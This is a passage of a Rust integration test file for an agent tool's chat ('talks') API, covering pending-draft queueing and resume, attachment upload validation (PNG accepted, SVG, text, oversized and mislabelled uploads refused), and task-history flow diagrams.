9178 Ok(Json(NewTalkTurn {
9179 text: "what does the queue module do?".to_owned(),
9180 attachments: Vec::new(),
9181 })),
9182 ));
9183
9184 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9189 .await
9190 .unwrap_or_else(|_| {
9191 panic!(
9192 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9193 )
9194 })
9195 .expect("the busy branch dropped the gate without using it");
9196
9197 let running = talks.get(&id).expect("reload talk");
9204 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9205
9206 handler.abort();
9210 let _ = handler.await;
9211
9212 let _ = release_tx.send(());
9218
9219 let mut fresh = talks.get(&id).expect("reload talk");
9222 for _ in 0..SETTLE_STEPS {
9223 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9224 break;
9225 }
9226 tokio::time::sleep(Duration::from_millis(10)).await;
9227 fresh = talks.get(&id).expect("reload talk");
9228 }
9229 assert!(
9230 fresh.pending.is_empty() && fresh.turns.len() == 2,
9231 "attempt {attempt}: talk {id} left the operator's text queued \
9232 with no drainer - the reclaimed turn was dropped along with \
9233 the handler future (pending {:?}, {} turns)",
9234 fresh.pending,
9235 fresh.turns.len()
9236 );
9237 }
9238 }
9239
9240 #[tokio::test]
9241 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9242 let (_tmp, _repo, f) = talk_fixture().await;
9243 let id = f.post("/api/talks", None).await.json()["id"]
9244 .as_str()
9245 .expect("id")
9246 .to_owned();
9247 let store = f.talks();
9248 let mut recovered = store.get(&id).expect("opened talk");
9249 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9250 .expect("persist pending draft without a live turn");
9251
9252 let edited = f
9253 .post(
9254 &format!("/api/talks/{id}/pending/edit"),
9255 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9256 )
9257 .await;
9258 assert_eq!(edited.status, 200, "{}", edited.body);
9259 assert!(edited.json()["thinking"].as_bool().unwrap());
9260
9261 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9262 for _ in 0..SETTLE_STEPS {
9263 if detail["turns"].as_array().expect("turns").len() == 2 {
9264 break;
9265 }
9266 tokio::time::sleep(Duration::from_millis(10)).await;
9267 detail = f.get(&format!("/api/talks/{id}")).await.json();
9268 }
9269 let turns = detail["turns"].as_array().expect("turns");
9270 assert_eq!(
9271 turns.len(),
9272 2,
9273 "the recovered draft must run once: {detail}"
9274 );
9275 assert_eq!(turns[0]["body"], "corrected");
9276 assert_eq!(detail["pending"], "");
9277 }
9278
9279 #[tokio::test]
9280 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9281 let tmp = TempDir::new().expect("tempdir");
9282 let repo = tmp.path().join("repo");
9283 std::fs::create_dir_all(&repo).expect("repo dir");
9284 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9285 let f = Fixture::with_repo(repo).await;
9286 let id = f.post("/api/talks", None).await.json()["id"]
9287 .as_str()
9288 .expect("id")
9289 .to_owned();
9290 let store = f.talks();
9291 let mut recovered = store.get(&id).expect("opened talk");
9292 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9293 .expect("persist pending draft without a live turn");
9294
9295 let refused = f
9296 .post(
9297 &format!("/api/talks/{id}/say"),
9298 Some(r#"{"text":"new message"}"#),
9299 )
9300 .await;
9301 assert_eq!(refused.status, 409, "{}", refused.body);
9302 assert!(refused.body.contains("resume"), "{}", refused.body);
9303 let saved = store.get(&id).expect("draft remains after refusal");
9304 assert!(saved.turns.is_empty());
9305 assert_eq!(saved.pending, "saved before restart");
9306
9307 let say_path = format!("/api/talks/{id}/say");
9308 let (first, second) = tokio::join!(
9309 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9310 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9311 );
9312 assert_eq!(first.status, 409, "{}", first.body);
9313 assert_eq!(second.status, 409, "{}", second.body);
9314 let saved = store
9315 .get(&id)
9316 .expect("draft remains after concurrent refusals");
9317 assert!(saved.turns.is_empty());
9318 assert_eq!(saved.pending, "saved before restart");
9319
9320 let resumed = f
9321 .post(&format!("/api/talks/{id}/pending/resume"), None)
9322 .await;
9323 assert_eq!(resumed.status, 202, "{}", resumed.body);
9324 let duplicate = f
9325 .post(&format!("/api/talks/{id}/pending/resume"), None)
9326 .await;
9327 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9328
9329 for _ in 0..SETTLE_STEPS {
9330 if store.get(&id).expect("talk").turns.len() == 2 {
9331 break;
9332 }
9333 tokio::time::sleep(Duration::from_millis(10)).await;
9334 }
9335 let finished = store.get(&id).expect("finished talk");
9336 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9337 assert_eq!(finished.turns[0].body, "saved before restart");
9338 assert!(finished.pending.is_empty());
9339 }
9340
9341 #[tokio::test]
9342 async fn an_image_only_recovered_draft_resumes_without_text() {
9343 let (_tmp, _repo, f) = talk_fixture().await;
9344 let id = f.post("/api/talks", None).await.json()["id"]
9345 .as_str()
9346 .expect("id")
9347 .to_owned();
9348 let uploaded = f
9349 .post_bytes(
9350 &format!("/api/talks/{id}/attachments"),
9351 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9352 PNG_BYTES,
9353 )
9354 .await;
9355 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9356 let attachment = f
9357 .talks()
9358 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9359 .expect("attachment metadata")
9360 .expect("stored attachment");
9361 let store = f.talks();
9362 let mut recovered = store.get(&id).expect("opened talk");
9363 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9364
9365 let resumed = f
9366 .post(&format!("/api/talks/{id}/pending/resume"), None)
9367 .await;
9368 assert_eq!(resumed.status, 202, "{}", resumed.body);
9369 for _ in 0..SETTLE_STEPS {
9370 if store.get(&id).expect("talk").turns.len() == 2 {
9371 break;
9372 }
9373 tokio::time::sleep(Duration::from_millis(10)).await;
9374 }
9375 let finished = store.get(&id).expect("finished talk");
9376 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9377 assert!(finished.turns[0].body.is_empty());
9378 assert_eq!(finished.turns[0].attachments.len(), 1);
9379 assert!(finished.pending_attachments.is_empty());
9380 }
9381
9382 #[tokio::test]
9383 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9384 let (_tmp, _repo, f) = talk_fixture().await;
9385 let id = f.post("/api/talks", None).await.json()["id"]
9386 .as_str()
9387 .expect("id")
9388 .to_owned();
9389 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9390 assert_eq!(closed.status, 200, "{}", closed.body);
9391 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9392 .expect("serialize closed talk");
9393 for (path, body) in [
9394 (format!("/api/talks/{id}/pending/resume"), None),
9395 (
9396 format!("/api/talks/{id}/pending/clear"),
9397 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9398 ),
9399 (
9400 format!("/api/talks/{id}/pending/edit"),
9401 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9402 ),
9403 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9404 ] {
9405 let response = f.post(&path, body).await;
9406 assert_eq!(response.status, 409, "{}", response.body);
9407 }
9408 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9409 .expect("serialize closed talk");
9410 assert_eq!(
9411 after_clear, before_clear,
9412 "clear must not rewrite a closed talk"
9413 );
9414 }
9415
9416 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9419
9420 #[tokio::test]
9421 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9422 let tmp = TempDir::new().expect("tempdir");
9423 let repo = tmp.path().join("repo");
9424 std::fs::create_dir_all(&repo).expect("repo dir");
9425 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9426 let f = Fixture::with_repo(repo).await;
9427 let id_a = f.post("/api/talks", None).await.json()["id"]
9428 .as_str()
9429 .unwrap()
9430 .to_owned();
9431 let id_b = f.post("/api/talks", None).await.json()["id"]
9432 .as_str()
9433 .unwrap()
9434 .to_owned();
9435
9436 let a = f
9437 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9438 .await;
9439 assert_eq!(a.status, 202, "{}", a.body);
9440 assert_eq!(a.json()["thinking"], true);
9441 let b = f
9442 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9443 .await;
9444 assert_eq!(b.status, 202, "{}", b.body);
9445 assert_eq!(b.json()["thinking"], true);
9446
9447 let listed = f.get("/api/talks").await.json();
9448 for id in [&id_a, &id_b] {
9449 let view = listed
9450 .as_array()
9451 .unwrap()
9452 .iter()
9453 .find(|talk| talk["id"] == *id)
9454 .unwrap();
9455 assert_eq!(view["thinking"], true, "{listed}");
9456 }
9457 let repeated = f
9458 .post(
9459 &format!("/api/talks/{id_a}/say"),
9460 Some(r#"{"text":"again"}"#),
9461 )
9462 .await;
9463 assert_eq!(repeated.status, 202, "{}", repeated.body);
9464 assert_eq!(repeated.json()["pending"], "again");
9465 }
9466
9467 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9470
9471 #[tokio::test]
9472 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9473 let f = Fixture::start().await;
9474 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9475
9476 let res = f
9477 .post_bytes(
9478 &format!("/api/talks/{id}/attachments"),
9479 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9480 PNG_BYTES,
9481 )
9482 .await;
9483 assert_eq!(res.status, 201, "{}", res.body);
9484 let body = res.json();
9485 assert_eq!(body["name"], "shot.png");
9486 assert_eq!(body["mime"], "image/png");
9487 assert_eq!(body["bytes"], PNG_BYTES.len());
9488 let att_id = body["id"].as_str().expect("id").to_owned();
9489 assert_eq!(
9490 att_id.len(),
9491 32,
9492 "the id must never be a client-suppliable path: {att_id}"
9493 );
9494
9495 let got = f
9496 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9497 .await;
9498 assert_eq!(got.status, 200, "{}", got.body);
9499 assert_eq!(got.header("content-type"), Some("image/png"));
9500 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9501 assert_eq!(got.bytes, PNG_BYTES);
9502 }
9503
9504 #[tokio::test]
9505 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9506 let f = Fixture::start().await;
9507 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9508
9509 let svg = f
9512 .post_bytes(
9513 &format!("/api/talks/{id}/attachments"),
9514 &[("Content-Type", "image/svg+xml")],
9515 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9516 )
9517 .await;
9518 assert!(
9519 (400..500).contains(&svg.status),
9520 "svg must be refused: {} {}",
9521 svg.status,
9522 svg.body
9523 );
9524 assert!(svg.body.contains("SVG"), "{}", svg.body);
9525
9526 let text = f
9527 .post_bytes(
9528 &format!("/api/talks/{id}/attachments"),
9529 &[("Content-Type", "text/plain")],
9530 b"just some text",
9531 )
9532 .await;
9533 assert!(
9534 (400..500).contains(&text.status),
9535 "an unlisted type must be refused: {} {}",
9536 text.status,
9537 text.body
9538 );
9539
9540 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9543 let big = f
9544 .post_bytes(
9545 &format!("/api/talks/{id}/attachments"),
9546 &[("Content-Type", "image/png")],
9547 &oversized,
9548 )
9549 .await;
9550 assert_eq!(
9551 big.status,
9552 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9553 "{}",
9554 big.body
9555 );
9556 }
9557
9558 #[tokio::test]
9559 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9560 let f = Fixture::start().await;
9561 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9562
9563 let res = f
9566 .post_bytes(
9567 &format!("/api/talks/{id}/attachments"),
9568 &[("Content-Type", "image/png")],
9569 b"<html>not a picture</html>",
9570 )
9571 .await;
9572 assert!((400..500).contains(&res.status), "{}", res.body);
9573 }
9574
9575 #[tokio::test]
9576 async fn an_unknown_attachment_id_is_a_404() {
9577 let f = Fixture::start().await;
9578 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9579
9580 let res = f
9581 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9582 .await;
9583 assert_eq!(res.status, 404, "{}", res.body);
9584 }
9585
9586 #[tokio::test]
9587 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9588 let f = Fixture::start().await;
9589 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9590
9591 let uploaded = f
9592 .post_bytes(
9593 &format!("/api/talks/{id}/attachments"),
9594 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9595 PNG_BYTES,
9596 )
9597 .await;
9598 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9599 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9600
9601 let res = f
9602 .post(
9603 &format!("/api/talks/{id}/say"),
9604 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9605 )
9606 .await;
9607 assert_eq!(res.status, 202, "{}", res.body);
9608 let queued = res.json();
9609 let turns = queued["turns"].as_array().expect("turns array");
9610 assert_eq!(
9611 turns.len(),
9612 1,
9613 "an empty body with an attachment is still a turn: {queued}"
9614 );
9615 assert_eq!(turns[0]["who"], "operator");
9616 assert_eq!(turns[0]["body"], "");
9617 let atts = turns[0]["attachments"]
9618 .as_array()
9619 .expect("attachments array");
9620 assert_eq!(atts.len(), 1);
9621 assert_eq!(atts[0]["id"], att_id);
9622 assert_eq!(atts[0]["mime"], "image/png");
9623
9624 let on_disk = f.talks().get(&id).expect("get");
9627 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9628 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9629 }
9630
9631 #[tokio::test]
9632 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9633 let f = Fixture::start().await;
9634 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9635
9636 let res = f
9637 .post(
9638 &format!("/api/talks/{id}/say"),
9639 Some(&format!(
9640 r#"{{"text":"hi","attachments":["{}"]}}"#,
9641 "a".repeat(32)
9642 )),
9643 )
9644 .await;
9645 assert!((400..500).contains(&res.status), "{}", res.body);
9646 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9647
9648 let on_disk = f.talks().get(&id).expect("get");
9649 assert!(
9650 on_disk.turns.is_empty(),
9651 "a rejected attachment id must not partially record the turn: {:?}",
9652 on_disk.turns
9653 );
9654 }
9655
9656 #[tokio::test]
9657 async fn talk_close_makes_the_talk_refuse_further_turns() {
9658 let f = Fixture::start().await;
9659 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9660
9661 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9662 assert_eq!(closed.status, 200, "{}", closed.body);
9663 assert_eq!(closed.json()["status"], "closed");
9664
9665 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9667 assert_eq!(closed_again.status, 200);
9668 assert_eq!(closed_again.json()["status"], "closed");
9669
9670 let said = f
9671 .post(
9672 &format!("/api/talks/{id}/say"),
9673 Some(r#"{"text":"too late"}"#),
9674 )
9675 .await;
9676 assert_eq!(said.status, 409, "{}", said.body);
9677 }
9678
9679 #[tokio::test]
9680 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9681 let (_tmp, _repo, f) = talk_fixture().await;
9682 let id = f.post("/api/talks", None).await.json()["id"]
9683 .as_str()
9684 .expect("id")
9685 .to_owned();
9686 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9687 assert_eq!(closed.status, 200, "{}", closed.body);
9688
9689 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9690 assert_eq!(reopened.status, 200, "{}", reopened.body);
9691 assert_eq!(reopened.json()["status"], "open");
9692
9693 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9695 assert_eq!(reopened_again.status, 200);
9696 assert_eq!(reopened_again.json()["status"], "open");
9697
9698 let said = f
9699 .post(
9700 &format!("/api/talks/{id}/say"),
9701 Some(r#"{"text":"still there?"}"#),
9702 )
9703 .await;
9704 assert_eq!(
9705 said.status, 202,
9706 "a reopened talk accepts turns again: {}",
9707 said.body
9708 );
9709 }
9710
9711 #[tokio::test]
9712 async fn talk_reopen_on_an_unknown_id_is_404() {
9713 let f = Fixture::start().await;
9714 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9715 assert_eq!(res.status, 404, "{}", res.body);
9716 }
9717
9718 #[tokio::test]
9719 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9720 let f = Fixture::start().await;
9721 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9722
9723 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9724 assert_eq!(deleted.status, 204, "{}", deleted.body);
9725
9726 let after = f.get(&format!("/api/talks/{id}")).await;
9727 assert_eq!(after.status, 404, "{}", after.body);
9728
9729 let listed = f.get("/api/talks").await.json();
9730 assert!(
9731 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9732 "a deleted talk must not linger in the list: {listed}"
9733 );
9734 }
9735
9736 #[tokio::test]
9737 async fn talk_delete_on_an_unknown_id_is_404() {
9738 let f = Fixture::start().await;
9739 let res = f.delete("/api/talks/nonexistent-id").await;
9740 assert_eq!(res.status, 404, "{}", res.body);
9741 }
9742
9743 #[tokio::test]
9747 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9748 let f = Fixture::start().await;
9749 let (a, b, gone) = (
9750 "20260902-140501-aaaa",
9751 "20260902-140502-bbbb",
9752 "20260902-140503-cccc",
9753 );
9754 write_run(&f.runs(), a, RunStatus::Stalled);
9755 let mut review = RunState::new(
9756 PathBuf::from("/repo/magi"),
9757 "main".to_owned(),
9758 "0123456789abcdef".to_owned(),
9759 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9760 .to_owned(),
9761 Config::default(),
9762 );
9763 review.id = b.to_owned();
9764 review.status = RunStatus::Merged;
9765 write_state(&f.runs(), &review);
9766
9767 let mut task = Task::new(
9768 "retry".to_owned(),
9769 "Do the thing".to_owned(),
9770 PathBuf::from("/repo/magi"),
9771 Source::Human,
9772 );
9773 task.start(a.to_owned());
9774 task.stall("quota");
9775 task.start(a.to_owned());
9776 task.start(b.to_owned());
9777 task.start(gone.to_owned());
9778 f.queue().put(&mut task).expect("file the task");
9779
9780 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9781 assert_eq!(res.status, 200, "{}", res.body);
9782 let v = res.json();
9783 let h = v["history"].as_array().expect("history");
9784 assert_eq!(h.len(), 4, "{v}");
9785 assert_eq!(h[0]["kind"], "competition");
9786 assert_eq!(h[0]["status"], "stalled");
9787 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9788 assert_eq!(h[1]["kind"], "resume", "{v}");
9789 assert!(
9790 h[0]["outcome"]
9791 .as_str()
9792 .unwrap()
9793 .contains("unknown. Pass #2"),
9794 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9795 );
9796 assert!(
9797 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9798 "{v}"
9799 );
9800 assert!(
9801 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9802 "an unrecorded cause must not be narrated as an operator park: {v}"
9803 );
9804 assert_eq!(h[2]["kind"], "review");
9805 assert!(
9806 h[2]["description"]
9807 .as_str()
9808 .unwrap()
9809 .contains("magi/aaaa/A")
9810 );
9811 assert_eq!(h[2]["status"], "merged");
9812 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9813 assert_eq!(v["runs_unreadable"], 1);
9814 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9815 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9816 assert_eq!(nodes[4]["note"], "unreadable");
9817 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9818 assert_eq!(v["instruction"], "Do the thing");
9819 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9820
9821 let run = f.get(&format!("/api/runs/{a}")).await.json();
9823 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9824
9825 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9826 }
9827
9828 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9829 let mut s = RunState::new(
9830 PathBuf::from("/repo/magi"),
9831 "main".to_owned(),
9832 "0123456789abcdef".to_owned(),
9833 "Do it".to_owned(),
9834 Config::default(),
9835 );
9836 s.status = status;
9837 edit(&mut s);
9838 s
9839 }
9840
9841 fn flow_task(runs: &[&str]) -> Task {
9842 let mut t = Task::new(
9843 "t".to_owned(),
9844 "Do it".to_owned(),
9845 PathBuf::from("/repo/magi"),
9846 Source::Human,
9847 );
9848 for r in runs {
9849 t.start((*r).to_owned());
9850 }
9851 t
9852 }
9853
9854 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9855 let h = task_history(task, |id| {
9856 states
9857 .iter()
9858 .find(|(i, _)| *i == id)
9859 .and_then(|(_, s)| s.clone())
9860 });
9861 task_flow(task, &h, 5)
9862 }
9863
9864 #[test]
9865 fn flow_opens_with_the_chat_that_queued_the_task() {
9866 let mut t = flow_task(&[]);
9867 t.source = Source::Agent {
9868 run: "a b/c".to_owned(),
9869 node: crate::queue::CHAT_NODE.to_owned(),
9870 };
9871 let f = flow_for(&t, &[]);
9872 assert_eq!(f.nodes[0].key, "chat");
9873 assert_eq!(f.nodes[0].kind, "chat");
9874 assert_eq!(
9875 f.nodes[0].label,
9876 format!("Chat {}", crate::queue::short("a b/c"))
9877 );
9878 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9879 assert_eq!(f.nodes[1].key, "start");
9880 assert_eq!(
9881 f.edges[0],
9882 FlowEdge {
9883 from: "chat".to_owned(),
9884 to: "start".to_owned(),
9885 label: "queued from chat".to_owned(),
9886 attempt: AttemptCost::None,
9887 }
9888 );
9889 }
9890
9891 #[test]
9892 fn flow_has_no_chat_box_for_other_sources() {
9893 for source in [
9894 Source::Human,
9895 Source::Issue {
9896 number: 3,
9897 repo: "o/r".to_owned(),
9898 },
9899 Source::Agent {
9900 run: "20260904-014455-ab12".to_owned(),
9901 node: "implement".to_owned(),
9902 },
9903 ] {
9904 let mut t = flow_task(&[]);
9905 t.source = source;
9906 let f = flow_for(&t, &[]);
9907 assert_eq!(f.nodes[0].key, "start");
9908 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9909 assert!(f.edges.iter().all(|e| e.from != "chat"));
9910 }
9911 }
9912
9913 const FA: &str = "20260902-140501-aaaa";
9914 const FB: &str = "20260902-140502-bbbb";
9915
9916 #[test]
9917 fn flow_follows_blocked_retry_merged_to_done() {
9918 let mut t = flow_task(&[FA, FB]);
9919 t.status = TaskStatus::Done;
9920 let f = flow_for(
9921 &t,
9922 &[
9923 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9924 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9925 ],
9926 );
9927 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9928 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9929 assert_eq!(f.edges.len(), 3);
9930 assert_eq!(f.edges[0].label, "claimed");
9931 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9932 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9933 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9934 assert_eq!(
9935 f.nodes[2].href.as_deref(),
9936 Some("#/runs/20260902-140502-bbbb")
9937 );
9938 assert!(f.nodes[2].decided);
9939 }
9940
9941 #[test]
9942 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9943 let quota = || {
9944 flow_run(RunStatus::Stalled, |s| {
9945 s.quota.push(crate::run::QuotaLoss {
9946 seat: "judge-1".to_owned(),
9947 node: "judge".to_owned(),
9948 at: Timestamp::now(),
9949 reset: None,
9950 })
9951 })
9952 };
9953 let mut t = flow_task(&[FA, FA]);
9954 t.status = TaskStatus::Queued;
9955 let f = flow_for(&t, &[(FA, Some(quota()))]);
9956 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9957 assert_eq!(f.nodes[1].note, Some("interrupted"));
9958 assert_eq!(
9959 f.nodes[1].status, None,
9960 "no outcome copied onto an earlier pass"
9961 );
9962 assert_eq!(
9963 f.edges[1].attempt,
9964 AttemptCost::Unknown,
9965 "a resume does not prove the earlier pass was refunded"
9966 );
9967 assert!(f.edges[1].label.contains("resume the same run"));
9968 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9969 assert_eq!(
9970 f.edges[2].label,
9971 "stalled after a resume, refund unknown \u{2192} queued"
9972 );
9973 assert!(!f.nodes[2].decided, "a stall is not a decision");
9974 assert_eq!(f.nodes[2].note, Some("no verdict"));
9975 }
9976
9977 #[test]
9978 fn flow_single_pass_quota_stall_is_refunded() {
9979 let t = flow_task(&[FA]);
9980 let f = flow_for(
9981 &t,
9982 &[(
9983 FA,
9984 Some(flow_run(RunStatus::Stalled, |s| {
9985 s.quota.push(crate::run::QuotaLoss {
9986 seat: "judge-1".to_owned(),
9987 node: "judge".to_owned(),
9988 at: Timestamp::now(),
9989 reset: None,
9990 })
9991 })),
9992 )],
9993 );
9994 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9995 }
9996
9997 #[test]
9998 fn flow_parked_refunds_and_stall_without_quota_spends() {
9999 let mut t = flow_task(&[FA]);
10000 t.status = TaskStatus::Queued;
10001 let f = flow_for(
10002 &t,
10003 &[(
10004 FA,
10005 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10006 )],
10007 );
10008 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10009 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10010 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10011 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10012 assert!(!f.nodes[1].decided);
10013 }
10014
10015 #[test]
10016 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10017 let t = flow_task(&[FA, FB]);
10018 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10019 assert_eq!(f.nodes[1].note, Some("unreadable"));
10020 assert!(!f.nodes[1].readable);
10021 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10022 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10023 }
10024
10025 #[test]
10026 fn flow_names_the_branch_of_a_review_only_run() {
10027 let t = flow_task(&[FA]);
10028 let f = flow_for(
10029 &t,
10030 &[(
10031 FA,
10032 Some(flow_run(RunStatus::Merged, |s| {
10033 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10034 })),
10035 )],
10036 );
10037 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10038 assert_eq!(
10039 f.nodes[1].detail.as_deref(),
10040 Some("review-only run of branch magi/x/A")
10041 );
10042 }
10043
10044 #[test]
10045 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10046 let mut t = flow_task(&[FA]);
10047 t.status = TaskStatus::Held;
10048 let pr = crate::run::PrRecord {
10049 url: "https://example.test/pr/1".to_owned(),
10050 number: 1,
10051 state: "open".to_owned(),
10052 checks: "green".to_owned(),
10053 round: 0,
10054 rounds: 3,
10055 red_at_merge: Vec::new(),
10056 };
10057 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10058 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10059 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10060 t.status = TaskStatus::Done;
10061 let f = flow_for(&t, &[(FA, Some(blocked))]);
10062 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10063 }
10064
10065 #[test]
10066 fn flow_with_no_runs_goes_from_queued_to_queued() {
10067 let t = flow_task(&[]);
10068 let f = flow_for(&t, &[]);
10069 assert_eq!(f.nodes.len(), 2);
10070 assert_eq!(f.edges.len(), 1);
10071 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10072 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10073 }
10074
10075 #[test]
10078 fn a_parked_non_terminal_run_is_explained_as_parked() {
10079 let mut s = RunState::new(
10080 PathBuf::from("/repo/magi"),
10081 "main".to_owned(),
10082 "0123456789abcdef".to_owned(),
10083 "Do it".to_owned(),
10084 Config::default(),
10085 );
10086 s.status = RunStatus::Implementing;
10087 s.parked = true;
10088 let task = Task::new(
10089 "t".to_owned(),
10090 "Do it".to_owned(),
10091 PathBuf::from("/repo/magi"),
10092 Source::Human,
10093 );
10094 let v = task_run_view(
10095 "20260902-140501-aaaa",
10096 Some(&s),
10097 RunSlot {
10098 n: 1,
10099 resumed: false,
10100 resumed_later: None,
10101 prior: None,
10102 last: true,
10103 },
10104 &task,
10105 );
10106 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10107 }
10108
10109 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10110 let mut s = flow_run(RunStatus::Implementing, edit);
10111 s.parked = false;
